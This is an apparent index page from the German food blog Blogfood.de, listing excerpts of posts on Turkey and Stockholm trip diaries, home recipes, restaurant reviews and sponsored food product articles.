- [Bildungsreise Türkei - Pamukkale/Kemer -](https://www.blogfood.de/bildungsreise-tuerkei-pamukkalekemer-2/) - Blogfood.de - Denn wir lieben Essen: Samstag, 02.12.2006 Heute wurden wir erst um 06.30 Uhr aus dem Schlaf gerissen. Also wieder Koffer packen, im Bad fertig machen und rüber ins Hauptgebäude. Dort dann schonmal auschecken, die offene Getränkerechnung bezahlen und ab zum Frühstück. Abfahrt war für 07.30 Uhr geplant. Am Frühstückstisch fanden sich zu diesem Zeitpunkt allerdings nur Herr Kuna und
- [Bildungsreise Türkei - Serik - Aydinbey Famous Resort](https://www.blogfood.de/bildungsreise-tuerkei-serik-aydinbey-famous-resort/) - Blogfood.de - Denn wir lieben Essen: In der Nähe von Serik waren wir ebenfalls in einem 5*-Hotel untergebracht, dem Aydinbey Famous Resort (Link zum Hotel: hier klicken). Das liegt etwa 30 Minuten Fahrzeit entfernt vom Flughafen Antalya und 10 Minuten von Serik. Der Ort Serik hat eine kleine aber schöne Innenstadt zu bieten, mit zahlreichen Restaurants, Geschäften und einem kleinem Markt
- [Bildungsreise Türkei - Serik - 03.12.2006](https://www.blogfood.de/bildungsreise-tuerkei-serik-03122006/) - Blogfood.de - Denn wir lieben Essen: Sonntag, 03.12.2006 Heute trafen wir uns um 08.20 Uhr zum Frühstück. Es gab unter anderem tolle Omeletts, Spiegeleier, Rühreier etc. Nach dem Frühstück brachte Herr Hauser erst einmal ein paar Hosen und Hemden zur Hausdame und ließ diese für insgesamt 10 € reinigen (die Hemden, nicht die Hausdame ;-) ). Warum auch nicht? Dann
- [Bildungsreise Türkei - Rückflug](https://www.blogfood.de/bildungsreise-tuerkei-rueckflug/) - Blogfood.de - Denn wir lieben Essen: Gegen 01.00 Uhr erwachte Herr Hauser aus seinem Tiefschlaf - draußen regnete es in Strömen. So begann er also auch mal seinen Koffer zu packen. Gegen 02.30 gab es das Nachtfrühstück im Restaurant in abgespeckter Version, so richtig einladend war es um diese Zeit nicht. Besonders fehlten die Köche, die sonst ein leckeres Omelett machen.
- [Geheimakte Türkeiurlaub - Unser Abend in Mehmets Bar](https://www.blogfood.de/geheimakte-tuerkeiurlaub-unser-abend-in-mehmets-bar/) - Blogfood.de - Denn wir lieben Essen: Heute haben wir uns kurzerhand dazu entschlossen, unsere Geheimakte aus dem Türkeiurlaub zu veröffentlichen. In unserem Beitrag "Bildungsreise Türkei - Göynük - 29.11.2006" erwähnten wir nur kurz unseren Besuch in einer türkischen Gaststätte: " [...] Gegen 22 Uhr machte sich unser Sechserpack zusammen mit Sylvias Fünferpack auf in eine türkische Gaststätte. In diesem Lokal verbrachten
- [Bildungsreise Stockholm - Ein planloser Tag - 22.01.2007](https://www.blogfood.de/bildungsreise-stockholm-ein-planloser-tag-22012007/) - Blogfood.de - Denn wir lieben Essen: Planlos klingt jetzt vielleicht ein bisschen negativ - aber das war es keineswegs. Der Tag begann schon mit einem faszinierenden Blick aus dem Fenster. Im Ernst - die Gitter vor den Fenstern waren nur im ersten Augenblick etwas befremdlich (auf den zweiten sah man ohnehin nur noch die Massen an Schnee...). Aber gut, inspiriert von
- [Bildungsreise Stockholm - Rückflug oder ein weiterer Tag in Stockholm - 24.01.2007](https://www.blogfood.de/bildungsreise-stockholm-rueckflug-oder-ein-weiterer-tag-in-stockholm-24012007/) - Blogfood.de - Denn wir lieben Essen: Da unser Flieger nach Hannover um 10.10 Uhr starten sollte, hieß es früh aufstehen. Wieder ging es zu Fuß durch die Kälte, die wir schon fast zu vermissen begannen. Da wir uns mittlerweile ganz gut auskannten, hatten wir die Strecke recht schnell und ohne Umwege bewältigt. Schnell noch zwei Arlanda-Express-Tickets kaufen und dann ab zum
- [Pide in Serik - oder wie ein Wirt das Geschäft seines Lebens verpasste](https://www.blogfood.de/pide-oder-wie-ein-wirt-das-geschaeft-seines-lebens-verpasste/) - Blogfood.de - Denn wir lieben Essen: In einem kleinen Restaurant in der türkischen Stadt Serik bestellten wir diese leckere Pide (während unseres Türkeiurlaubs). Das war aber auch schon alles, der arme Wirt dachte zwar er würde bei der sechsköpfigen Reisegruppe das Geschäft seines Lebens machen - aber Pech gehabt! Wir bestellten uns alle nur einen Cay. Die Pide war trotzdem lecker,
- [Baiken (Eltville): Sauerampfer-Eis mit Erdbeeren](https://www.blogfood.de/baiken-eltville-sauerampfer-eis-mit-erdbeeren/) - Blogfood.de - Denn wir lieben Essen: Das zum Dessert bestellte Sauerampfer-Eis mit Erdbeeren schmeckte fruchtig und keinesfalls süß - also genau die richtige Wahl für Herrn Kuna. Trotz häufig überfüllter Außenterrasse ist das Baiken immer einen Besuch werden, schon allein wegen der phantastischen Kulisse inmitten der Eltviller Weinberge. --- Baiken Restaurant und Gutsausschank Wiesweg 86 65343 Eltville am Rhein Öffnungszeiten: Dienstag
- [Marketing-Tipps für Gastronomen. Teil 1: Gewinnspiele](https://www.blogfood.de/marketing-tipps-fur-gastronomen-teil-1-gewinnspiele/) - Blogfood.de - Denn wir lieben Essen: Aus der Reihe Marketing-Tipps für Gastronomen: Jeden Tag Uberraschung Jeder Gast hat die Chance jede Eine Stunde ein Getränk Seiner Wahl zu gewinnen ohne Einsatz Ab 12.00 Uhr viel Glück
- [Grillevent: Neuseeländisches Lammfleisch](https://www.blogfood.de/grillevent-neuseelaendisches-lammfleisch/) - Blogfood.de - Denn wir lieben Essen: Bei diesem Grillabend kamen verschiedene Stücke vom neuseeländischen Lamm zum Einsatz. Aus meiner Erfahrung eignet sich neuseeländisches Lammfleisch ausgezeichnet zum Grillen und kommt aufgrund des intensiven, aber dennoch milden und nicht dominant wirkenden Eigengeschmacks sogar ohne großartiges Marinieren aus - etwas Öl, Knoblauch und Thymian reichen hier völlig aus. Da die verschiedenen Lammteile unterschiedlich lange
- [Frühstück im Café Orange (Wiesbaden-Schierstein)](https://www.blogfood.de/fruehstuck-im-cafe-orange-wiesbaden-schierstein/) - Blogfood.de - Denn wir lieben Essen: Sehr schön am Rheinufer gelegen ist das Café Orange in Wiesbaden (Schiersteiner Hafen). Vor allem bei Sonnenschein auf der Terrasse bietet das Orange ein gemütliches Ambiente, kulinarisch ist es hingegen nicht unbedingt eine Top-Empfehlung. Das Frühstücksbuffet am Sonntag war in Ordnung, aber keine Glanzleistung - einzig das Rührei schmeckte ganz passabel: Café Orange Wiesbaden
- [Alles Banane...](https://www.blogfood.de/alles-banane/) - Blogfood.de - Denn wir lieben Essen: Man darf sich schon die Frage stellen, warum es sich der Mensch manchmal so schwer macht. Eine Banane zu öffnen kann so einfach sein. Das Video zeigt, wie man es richtig macht - nach dem Vorbild der Affen. Quelle: youtube.com
- [Mit Basilikum-Pilz-Pesto gefüllte Champignons](https://www.blogfood.de/mit-basilikum-pilz-pesto-gefuellte-champignons/) - Blogfood.de - Denn wir lieben Essen: Mit Basilikum-Pilz-Pesto gefüllte Champignons
- [Griechische Grillplatte](https://www.blogfood.de/griechische-grillplatte/) - Blogfood.de - Denn wir lieben Essen: Griechische Grillplatte (Restaurantbesuch)
- [Nudeln mit Möhren-Champignon-Soße](https://www.blogfood.de/nudeln-mit-moehren-champignon-sosse/) - Blogfood.de - Denn wir lieben Essen: Nudeln mit Möhren-Champignon-Soße
- [Auberginen-Scampi auf Spaghetti](https://www.blogfood.de/auberginen-scampi-auf-spaghetti/) - Blogfood.de - Denn wir lieben Essen: Auberginen-Scampi auf Spaghetti
- [Entenkeule mit Herzoginkartoffeln](https://www.blogfood.de/entenkeule-mit-herzoginkartoffeln/) - Blogfood.de - Denn wir lieben Essen: Entenkeule mit Herzoginkartoffeln
- [Nudeln mit Sardellenfilets und Polenta-Parmesan-Kruste](https://www.blogfood.de/nudeln-mit-sardellenfilets-und-polenta-parmesan-kruste/) - Blogfood.de - Denn wir lieben Essen: Nudeln mit Sardellenfilets und Polenta-Parmesan-Kruste
- [Kartoffel-Pilz-Pfanne mit Bratwurst](https://www.blogfood.de/kartoffel-pilz-pfanne-mit-bratwurst/) - Blogfood.de - Denn wir lieben Essen: Kartoffel-Pilz-Pfanne mit Bratwurst
- [Kartoffelgulasch mit Paprika und Zucchini (vegetarisch)](https://www.blogfood.de/kartoffelgulasch-mit-paprika-und-zucchini-vegetarisch/) - Blogfood.de - Denn wir lieben Essen: Kartoffelgulasch mit Paprika und Zucchini (vegetarisch)
- [Nudelsalat mit grünen Oliven und Ruccola](https://www.blogfood.de/nudelsalat-mit-grunen-oliven-und-ruccola/) - Blogfood.de - Denn wir lieben Essen: Nudelsalat mit grünen Oliven und Ruccola
- [Lauwarmes Lachs-Carpaccio](https://www.blogfood.de/lauwarmes-lachs-carpaccio/) - Blogfood.de - Denn wir lieben Essen: Lauwarmes Lachs-Carpaccio
- [Mit Käse und Pinienkernen gefüllte Champignons](https://www.blogfood.de/mit-kaese-und-pinienkernen-gefuellte-champignons/) - Blogfood.de - Denn wir lieben Essen: Mit Käse und Pinienkernen gefüllte Champignons
- [Andrew's Fish 'n' Chips (Wiesbaden)](https://www.blogfood.de/andrews-fish-and-chips-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: http://www.fishandchips.me/Andrews_Fish_and_Chips/index.html
- [Hühnerkraftbrühe mit Eierstich](https://www.blogfood.de/huehnerkraftbruhe-mit-eierstich/) - Blogfood.de - Denn wir lieben Essen:
- [Kartoffeltaschen mit Hackfleischfüllung](https://www.blogfood.de/kartoffeltaschen-mit-hackfleischfuellung/) - Blogfood.de - Denn wir lieben Essen: Aus mehligkochenden Kartoffeln (z.B. Afra), flüssiger Butter, Ei, Salz und frisch geriebener Muskatnuss einen Kartoffelteig herstellen. Mit Mehl binden, so dass der Teig nicht zu sehr klebt. Für die Füllung Hackfleisch in der Pfanne anbraten und anschließend mit sehr fein gewürfelten Karotten, Schalotten und etwas Knoblauch garen. Den Kartoffelteig 3-4 mm dünn ausrollen, zuerst mit
- [Kartoffelhaus Osnabrück](https://www.blogfood.de/kartoffelhaus-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: Am 21. Februar besuchten wir das 1. Osnabrücker Kartoffelhaus "im Dominikaner". Ruhig gelegen am Rande der Altstadt in der Bierstraße 38 findet man ein rustikal eingerichtetes Restaurant vor, dessen Inneneinrichtung insgesamt recht dunkel gehalten ist. Das aber macht gerade seinen Charakter aus. Als Gast ist man im ersten Augenblick ziemlich überfordert mit all dem, was
- [Pfifferlinge mit Schalotten und Speck, dazu Sahne-Kartoffelpüree](https://www.blogfood.de/pfifferlinge-mit-schalotten-und-speck-dazu-sahne-kartoffelpueree/) - Blogfood.de - Denn wir lieben Essen: Einfach eine sehr leckere Komposition, deren Geschmack natürlich mit der Qualität ihrer Zutaten steht und fällt. Frische Pfifferlinge oder gerne auch andere Waldpilze zusammen mit gutem Speck braten. Unter das mit nicht zu wenig Butter zubereitete Kartoffelpüree hebe ich zum Schluss geschlagene Sahne.
- [Mit Heilbutt und Blutwurst zum Sieg - Linie Förderpreis 2011](https://www.blogfood.de/mit-heilbutt-und-blutwurst-zum-sieg-linie-forderpreis-2011/) - Blogfood.de - Denn wir lieben Essen: Hanna Börger aus Münster gewinnt den 10. Linie Förderpreis Hanna Börger, Gewinnerin des Linie Förderpreises 2011 - (c) 2011 Blogfood.deGewinnerin des Linie Förderpreises 2011 ist Hanna Börger (26) aus dem Restaurant „Am Aasee“ in Münster. Ihr Erfolgsrezept: Heilbutt unter Pfifferlingshaube mit Blutwurst-Lauch-Cannelloni, Schalottenravioli und Petersiliensauce. Bereits zum zehnten Mal vergaben das Gourmetmagazin Der Feinschmecker und
- [Knusprig gebackenes Hähnchen mit Weizen-Tortilla und Pilz-Tomaten-Gemüse](https://www.blogfood.de/knusprig-gebackenes-haehnchen-mit-weizen-tortilla-und-pilz-tomaten-gemuese/) - Blogfood.de - Denn wir lieben Essen: Die Hähnchenkeule nur mit Öl und Salz einreiben und im Ofen bei 160° C rund 30 bis 40 Minuten knusprig garen (zum Schluss ggf. die Grillfunktion einschalten). Der Tortillateig wird aus Weizenmehl und relativ viel Öl/Fett (Verhältnis 3:1) zubereitet. Für 10 Tortillas benötigt man ca. 250 g Mehl, 80 ml Öl, 100 ml Wasser und
- [Maccheroni mit Lachs-Sahne-Sauce](https://www.blogfood.de/maccheroni-mit-lachs-sahne-sauce/) - Blogfood.de - Denn wir lieben Essen: Fein geschnittene Zwiebel andünsten, mit Weißwein ablöschen, reduzieren lassen. Mit Sahne aufkochen, anschließend mit Salz, Pfeffer und etwas Honig abschmecken. Lachsfilet in kleine Stücke schneiden, kurz scharf anbraten und in der Sauce gar ziehen lassen. Die Maccheroni al dente kochen.
- [Seezungenfilets mit Champignon-Champagner-Sauce und toskanischen Pommes Frites](https://www.blogfood.de/seezungenfilets-mit-champignon-champagner-sauce-und-toskanischen-pommes-frites/) - Blogfood.de - Denn wir lieben Essen: Toskanische Pommes frites: Öl (Sonnenblumen- oder Erdnussöl) zum Frittieren hoch erhitzen (180° C), Rosmarin- und Thymianzweige, ganze Knoblauchzehen und reichlich grobes Meersalz hinzugeben und in Spalten geschnittene Kartoffeln darin goldgelb frittieren. Seezunge und Sauce: Seezungenfilets säubern und in Alufolie (innen mit Öl bestrichen) bei 180° C rund 20-30 Minuten im Ofen garen. Aus Schalotten, Fischfond,
- [Rezept: Apfel-Blutwurst-Tarte](https://www.blogfood.de/rezept-apfel-blutwurst-tarte/) - Blogfood.de - Denn wir lieben Essen: In Deutschland ist die Kombination Apfel & Blutwurst vielen unter dem Begriff "Himmel und Erde" bekannt. Das folgende Rezept ist hieran angelehnt und kommt als französische Variante mit Blätterteig daher. Zutaten für 4 Personen: 2 Äpfel (süß-sauer, z.B. Honeycrunch; keine mehligen Sorten wie Boskoop oder Elstar) frischer Blätterteig, zu 4 Quadraten ausgestochen 200 g Blutwurst
- [Rezept: Französischer Ziegenkäse an karamellisierten Feigen](https://www.blogfood.de/franzoesischer-ziegenkaese-an-karamellisierten-feigen/) - Blogfood.de - Denn wir lieben Essen: Zutaten für 4 Personen: 1 gereifte französische Ziegenkäsepyramide mit Pflanzenkohle, z. B. Valençay 4-8 Feigen 300 ml Rotwein 1 Blatt Frühlingsrollenteig 1 Ei 2 EL Zucker 1 EL kalte Butter 3 Prisen Ras-el-hanout Zubereitung: Zucker in einem Topf karamellisieren lassen und mit Wein ablöschen. Ras-el-hanout zusammen mit den Feigen in den Topf geben und
- [Sommerfrüchte aus Frankreich: Sommer, Sonne, Sommerobst](https://www.blogfood.de/sommerfruchte-aus-frankreich-sommer-sonne-sommerobst/) - Blogfood.de - Denn wir lieben Essen: Aktuell sind sie wieder an jeder Obsttheke zu finden: Pfirsiche, Nektarinen, Aprikosen, Melonen, Pflaumen und Tafeltrauben. Schon in ihren Namen steckt der Sommer, denn sie haben dann Saison, wenn das Wetter am schönsten ist und versorgen uns auf leichteste und saftigste Weise mit Vitaminen. Beim Einkauf sollte man jedoch auf Qualität achten, denn wer hat
- [proastio - Griechenland nur so...](https://www.blogfood.de/proastio-griechenland-nur-so/) - Blogfood.de - Denn wir lieben Essen: Ende Januar wurden wir von Jaser von proastio angeschrieben und gefragt, ob wir nicht Lust hätten den Shop zu testen. Na klar, gar keine Frage. Gelockt wurden wir mit einem Probierpaket im Wert von 25,00 € welches wir frei zusammenstellen konnten. Hintergrund ist natürlich ohne Frage den Shop bekannter zu machen,
- [Spaghetti mit Putengeschnetzeltem](https://www.blogfood.de/spaghetti-mit-putengeschnetzeltem/) - Blogfood.de - Denn wir lieben Essen: Ein schnelles Gericht: Spaghetti mit Rahmgeschnetzeltem (Putenfilet, Sahne). Dazu ein paar Kirschtomaten und frische Petersilie.
- [Ruccola-Schafskäse](https://www.blogfood.de/ruccola-schafskaese/) - Blogfood.de - Denn wir lieben Essen: Ein weiteres Gericht, das ich im Restaurant "Zur güld'nen Rose" in Ladenburg am Neckar gegessen habe und nachhaltig in Erinnerung geblieben ist. Der Schafskäse wurde sehr cremig zubereitet und perfekt mit Ruccola abgeschmeckt. Wie schon erwähnt, kann ich das Restaurant wärmstens empfehlen. Die Küche bietet viele (auch moderne) Eigeninterpretationen der griechischen Küche, die man unbedingt
- [Salat mit frischem Basilikum, Cherrytomaten, Mozzarella und Speck](https://www.blogfood.de/salat-mit-frischem-basilikum-cherrytomaten-mozzarella-und-speck/) - Blogfood.de - Denn wir lieben Essen: Ein Salat mit vielen frischen Zutaten: Grob geschnittene Basilikumblätter, aromatische Kirschtomaten, Mozzarella und - als kleines Highlight - in der Pfanne ausgelassener Speck.
- [Sesam-Putenfilet mit gebratenem Blumenkohl](https://www.blogfood.de/sesam-putenfilet-mit-gebratenem-blumenkohl/) - Blogfood.de - Denn wir lieben Essen: Gekochter Blumenkohl schmeckt auch sehr gut, wenn man ihn in Butter anbrät. Zu gebratenen Putenfiletstreifen passen oft ein paar Sesamkörner ganz gut.
- [Rinderfilet mit Pilzen](https://www.blogfood.de/rinderfilet-mit-pilzen/) - Blogfood.de - Denn wir lieben Essen: Diese amateurhafte Anordnung der einzelnen Komponenten ist schon einige Jahre alt und entstand während der sogenannten Rinderfilet-Woche - einer Woche, in der ich täglich gefühlte Unmengen von Rinderfilet zu verarbeiten hatte. Den Beilageknödel bitte ignorieren, die Pilze würde ich heute anders zubereiten.
- [Schweinenackensteak und Tomaten mit Bulgurfüllung](https://www.blogfood.de/schweinenackensteak-und-tomaten-mit-bulgurfuellung/) - Blogfood.de - Denn wir lieben Essen: Eine sicherlich ungewöhnliche Kombination, die eher in der Rubrik Resteverwertung einzuordnen ist. Gebratenes oder gegrilltes Fleisch (hier: Schweinenackensteak) passen aber trotzdem ausgezeichnet zu Bulgur (in reichlich Gemüsebrühe zubereitet), mit dem ich dieses Mal mittelgroße Tomaten gefüllt und kurz im Ofen mit Käse überbacken habe.
- [Risotto mit Scampi und Cocktailsoße](https://www.blogfood.de/risotto-mit-scampi-und-cocktailsosse/) - Blogfood.de - Denn wir lieben Essen: Ein klassisches Risotto mit in Knoblauch und Olivenöl gebratenen Scampi. Dazu eine selbstgemachte pikante Cocktailsauce.
- [Spaghetti Bolognese](https://www.blogfood.de/spaghetti-bolognese/) - Blogfood.de - Denn wir lieben Essen: Zwar nicht besonders aufwändig für's Foto in Szene gesetzt, aber dadurch nicht weniger lecker: Eine stundenlang gekochte Bolognese mit Tomaten, Karotten, Sellerie, Zwiebeln, Knoblauch, Rotwein und Oregano. Es gibt manchmal kaum Besseres...
- [Austernpilze mit Parmesankäse](https://www.blogfood.de/austernpilze-mit-parmesankaese/) - Blogfood.de - Denn wir lieben Essen: Austernpilze mit Parmesan überbacken. Diese Komposition war hervorragend abgeschmeckt. Gegessen im Restaurant "Zur güld'nen Rose" in Ladenburg am Neckar - was sehr zu empfehlen ist. Die Küche bietet viele (auch moderne) Eigeninterpretationen der griechischen Küche, die unbedingt zu empfehlen sind. Wer einen Besuch in diesem Lokal plant, kann sich hier auf Blogfood.de einige Gerichte anschauen,
- [Salat mit Tomaten, Fetakäse, Mozarella und Basilikum](https://www.blogfood.de/salat-mit-tomaten-fetakaese-mozarella-und-basilikum/) - Blogfood.de - Denn wir lieben Essen: Hier ist schon nicht mehr allzu viel vom Tomaten-Mozzarella-Salat zu sehen, der als Vorspeise außer Oliven, Basilikum und Schafskäse nur noch etwas Weißweinessig und ein richtig gutes Olivenöl brauchte, um zu überzeugen.
- [Gazpacho mit Mozzarella](https://www.blogfood.de/gazpacho-mit-mozzarella/) - Blogfood.de - Denn wir lieben Essen: Schnell gemacht ist die leckere kalte Gemüsesuppe spanischen Ursprungs: Varianten gibt es wahrscheinlich in etwa so viele wie italienische Bolognese-Rezepte, daher soll diese hier auch nicht das Musterbeispiel darstellen. Die Grundidee ist jedenfalls leicht umzusetzen. Salatgurke entkernen, grob klein schneiden (wer will, kann die Gurke vorher auch schälen), Paprika (ggf. enthäuten) auch, dazu ein paar
- [Scharfe Nudelsuppe mit Kokosgemüse](https://www.blogfood.de/scharfe-nudelsuppe-mit-kokosgemuese/) - Blogfood.de - Denn wir lieben Essen: Vielleicht ist diese Kombination etwas ungewöhnlich, einen Versuch aber allemal wert.Die Nudeln al dente kochen, währenddessen Kartoffeln, Möhren, Sellerie, Zwiebeln in kleine Würfel schneiden. Das Gemüse bei mittlerer Hitze in einem aromatischen Öl (Sesam, Nuss) anbraten.Mit wenig Weißwein ablöschen und anschließend reichlich Kokosmilch dazugeben. Einmal aufkochen lassen, dann eine Zeitlang vor sich hin köcheln lassen.
- [Wok-Gemüsepfanne mit Butterreis](https://www.blogfood.de/wok-gemuesepfanne-mit-butterreis/) - Blogfood.de - Denn wir lieben Essen: --- Zutaten ---1 Paprika1 kleine Zucchini1 große Zwiebel150 g Mungobohnenkeimlinge2 frische Knoblauchzehen150 g Basmatireis1 Stange Zitronengras KreuzkümmelSalzPfeffer5 cl Rotwein2 TL Zucker oder HonigBalsamico-Essig1 TL Salz --- Zubereitung ---Mungobohnen abspülen und in einem Sieb abtropfen lassen.Gemüse klein schneiden (Paprika in Streifen, Zwiebel in Ringe, Knoblauch in dünne Scheiben).Reis ca. 8 Minuten in 600 ml Wasser (leicht gesalzen)
- [Pilzschmarrn mit Schnittlauchcrème](https://www.blogfood.de/pilzschmarrn-mit-schnittlauchcreme/) - Blogfood.de - Denn wir lieben Essen: Dieses Rezept stammt von Tim Mälzer und ich muss es sagen, dass es sich sehen lassen kann!Blitzschnell gemacht ist dieser Pilzschmarrn, weil man - während man die Pilze in einer Pfanne in ordentlich Butter schmoren lässt - bereits den Teig anrühren kann.Für 250 g Pilze (gemischt, z. B. braune Champignons) brauchte ich 2 Eier, 75
- [Rührei mit Tomaten](https://www.blogfood.de/ruehrei-mit-tomaten/) - Blogfood.de - Denn wir lieben Essen: Ziemlich simpel: Tomatenrührei Zutaten für 2 Portionen: 4 Eier 2 Tomaten 2 Esslöffel Sahne Salz, Pfeffer etwas gehackte Petersilie 1 Stückchen Butter Zubereitung: Tomaten in kleine Stücke schneiden. Eier aufschlagen, die Sahne hinzugeben und das Ganze etwas Salzen und Pfeffern. Anschließend die Eier und Sahne mit einem Schneebesen verquirlen. Die Butter in einer Pfanne langsam
- [Spiegelei in Herzform](https://www.blogfood.de/spiegelei-in-herzform/) - Blogfood.de - Denn wir lieben Essen: Kann man mal machen. Bin mir übrigens gar nicht so sicher, ob das hier nicht sogar die eigenhändig kreierte Variante ist - obwohl mittlerweile eine entsprechende Spiegeleiform zum Kücheninventar gehört.
- [FRoSTA: Tortelloni in Käse-Sahne-Sauce](https://www.blogfood.de/frosta-tortelloni-in-kaese-sahne-sauce/) - Blogfood.de - Denn wir lieben Essen: Hier muss man nicht sonderlich viel zu sagen: Ein FRoSTA-Gericht, das ziemlich lecker war.
- [Kurztest: Die neuen Sommersorten von Lindt](https://www.blogfood.de/kurztest-die-neuen-sommersorten-von-lindt/) - Blogfood.de - Denn wir lieben Essen: Vor kurzem wurden wir von den Probierpionieren eingeladen die neuen Lindt Sommertafeln noch vor Markteinführung zu probieren. Das Probierpaket, das vor ca. zwei Wochen bei uns ankam, wartete mit den drei Sorten Lindt Nocciola, Eiscafé und Amarena-Kirsch auf. Dreimal höchster Maîtres Chocolatiers - Hochgenuss à 100g im neuen Pocketformat.
- [Mit Käse fit und genussvoll durch den Frühling](https://www.blogfood.de/mit-kaese-fit-und-genussvoll-durch-den-fruehling/) - Blogfood.de - Denn wir lieben Essen: Mit dem ersten Grün an den Bäumen und den ersten warmen Sonnenstrahlen erwacht die Lust auf Bewegung und frische Luft. Und die macht ja bekanntlich Hunger - und Lust auf gutes Essen. Wobei die Lust auf das Gute oft einen Haken hat: Was schnell geht, schmeckt oft nicht. Was schön verpackt ist, hat kein Flair
- [Französischen Käse mit allen Sinnen genießen](https://www.blogfood.de/franzoesischen-kaese-mit-allen-sinnen-geniessen/) - Blogfood.de - Denn wir lieben Essen: Molekarküche, Fusionfood, Himalayasalz: Heutzutage sind wir immer auf der Suche nach neuen Geschmackserfahrungen. „Dabei können wir die größten Aha-Erlebnisse mit guten, aber einfachen Produkten machen, wenn wir wieder lernen, unsere Sinne bewusst einzusetzen“, meint Cornelia Ptach, Sensorikerin und Mitglied der Deutschen Akademie für Kulinaristik. Als Beispiel nennt die Expertin französischen Käse. „Die Franzosen haben es
- [Weizen-Tortilla mit Schnittlauchcrème und Pilz-Tomaten-Gemüse](https://www.blogfood.de/weizen-tortilla-mit-schnittlauchcreme-und-pilz-tomaten-gemuese/) - Blogfood.de - Denn wir lieben Essen: Die Weizentortilla wurde in einer beschichteten Pfanne ausgebacken. Das Pilz-Tomaten-Gemüse besteht aus frischen Champignons, ein paar Schalotten und Kirschtomaten. Alles dünn geschnitten, kurz in etwas Öl in einer kleinen Pfanne angeschwenkt, mit einem Schuss Sherry abgelöscht und mit Salz und Pfeffer abgeschmeckt. Die Schnittlauchcrème (Crème fraîche mit etwas Mascarpone und Milch glattgerührt) gibt dem Gericht
- [Spaghetti Carbonara](https://www.blogfood.de/spaghetti-carbonara/) - Blogfood.de - Denn wir lieben Essen: Spaghetti Carbonara, nur mit Butter, gekochtem Schinken, Parmesan, frisch gemahlenem Pfeffer und leicht angestocktem Ei. Ein paar vom Vorspeisensalat übriggebliebene Paprikastreifen wurden noch hineingegeben.
- [Crevettes in Tomatensauce mit Schafskäse](https://www.blogfood.de/crevettes-in-tomatensauce-mit-schafskaese/) - Blogfood.de - Denn wir lieben Essen: Wunderbare Crevettes im Tomatensud im Ofen mit cremigem Schafskäse überbacken. Pikant mit Knoblauch abgeschmeckt. Gegessen im Restaurant "Zur güld'nen Rose" in Ladenburg am Neckar - was sehr zu empfehlen ist. Die Küche bietet viele (auch moderne) Eigeninterpretationen der griechischen Küche, die unbedingt zu empfehlen sind. Wer einen Besuch in diesem Lokal plant, kann sich hier
- [Tortiglioni alla salsiccia arrostita](https://www.blogfood.de/tortiglioni-alla-salsiccia-arrostita/) - Blogfood.de - Denn wir lieben Essen: Bissfeste Tortiglioni mit frischer, feiner Bratwurst vom Metzger. Dazu nur etwas Öl.
- [Das ist unser Star für Oslo](https://www.blogfood.de/unser-star-fuer-oslo/) - Blogfood.de - Denn wir lieben Essen: Na ja, nicht ganz. Zwar stammen die neuen Bio-Miesmuscheln von "Deutsche See" aus Norwegen, aber natürlich nicht aus seiner Hauptstadt Oslo. Stattdessen wachsen sie fernab jeder Großstadt und Industrie in den kalten Gewässern der norwegischen Fjorde heran, welche ausschließlich über den Seeweg zu erreichen sind. Das bietet ausgezeichnete Lebensbedingungen für die dreijährige Aufzucht der Muscheln.
- [Rezept „Kalbskotelett mediterran“](https://www.blogfood.de/rezept-kalbskotelett-mediterran/) - Blogfood.de - Denn wir lieben Essen: Sommerküche trifft Beaujolais Saint-Amour, Juliénas, Fleurie – diese wohlklingenden Wein­herkünfte aus dem Beaujolais gehören zu den zehn Spitzenlagen der französischen Weinregion, den so genannten „Crus“. Erfrischend, fruchtig und nicht zu schwer, eignen sich die Cru-Weine besonders als Begleiter für sommerliche Gerichte. Zum Beispiel zum Grillklassiker Kalbskotelett, in mediterraner Variante
- [Bella Italia - Lebensfreude pur genießen!](https://www.blogfood.de/bella-italia-lebensfreude-pur-geniessen/) - Blogfood.de - Denn wir lieben Essen: Heute wird es italienisch bei "Lanz kocht". Die heutige Sendung steht unter dem Motto "Bella Italia - Lebensfreude pur genießen! Erlaubt ist, was schmeckt". Markus Lanz präsentiert heute zusammen mit Horst Lichter, Cornelia Poletto, Alfons Schuhbeck, Alexander Herrmann und Steffen Henssler (ZDF, 23.30 - 00.35 Uhr) ein vielseitiges Fünf-Gänge-Menü: Vorspeise Gefüllte Mozzarellakugeln mit Pancetta angerichtet
- [Samosas mit Camembert](https://www.blogfood.de/samosas-mit-camembert/) - Blogfood.de - Denn wir lieben Essen: Passend zur anstehenden Fußball-Weltmeisterschaft in Südafrika veröffentlichen wir heute ein Rezept von Thomas Krause (Kochschule Hamburg), das man schon einmal ausprobieren kann, bevor es zur Vorbereitung leckerer Snacks für den gemütlichen Fußball-Fernsehabend mit Freunden zum Einsatz kommt. Rezept für vier Personen. Zutaten: 200 g Camembert 8 kleine quadratische Platten Blätterteig 300 g gemischtes Hackfleisch 1/2
- [Welcher Wein zu welchem Fisch?](https://www.blogfood.de/welcher-wein-zu-welchem-fisch/) - Blogfood.de - Denn wir lieben Essen: Grundsätzlich gilt: Fisch und Wein gehören zusammen. Welcher Wein aber passt zu welchem Fisch? Diese Frage richtig zu beantworten, ist durchaus von entscheidender Bedeutung, schließlich rundet der richtige Wein das Geschmackserlebnis eines guten Essens erst vollkommen ab. In der modernen Küche gibt es dankenswerter Weise immer weniger Konventionen. Vorschriften und Regeln der Vergangenheit geraten mehr
- [Deutsche See schürt das Feuer - Die Familie "Fisch im Grillblatt" bekommt Zuwachs](https://www.blogfood.de/deutsche-see-schuert-das-feuer-die-familie-fisch-im-grillblatt-bekommt-zuwachs/) - Blogfood.de - Denn wir lieben Essen: Die Produktfamilie „Fisch im Grillblatt“ bekommt Zuwachs. Gleich vier Neuheiten legt "Deutsche See" in dieser Grillsaison auf den heißen Rost: "BIO-Lachsfilet im Buchenspan", "BIO-Pangasiusfilet im Buchenspan", "Tilapiafilet im Bananenblatt" und "Pangasiusfilet im Bananenblatt". Alle Produkte sind im gekühlten Selbstbedienungsbereich und an der Frischfischtheke erhältlich.Bremerhaven – Die Methode, beim Kochen empfindliche Zutaten einzuwickeln und dann zu
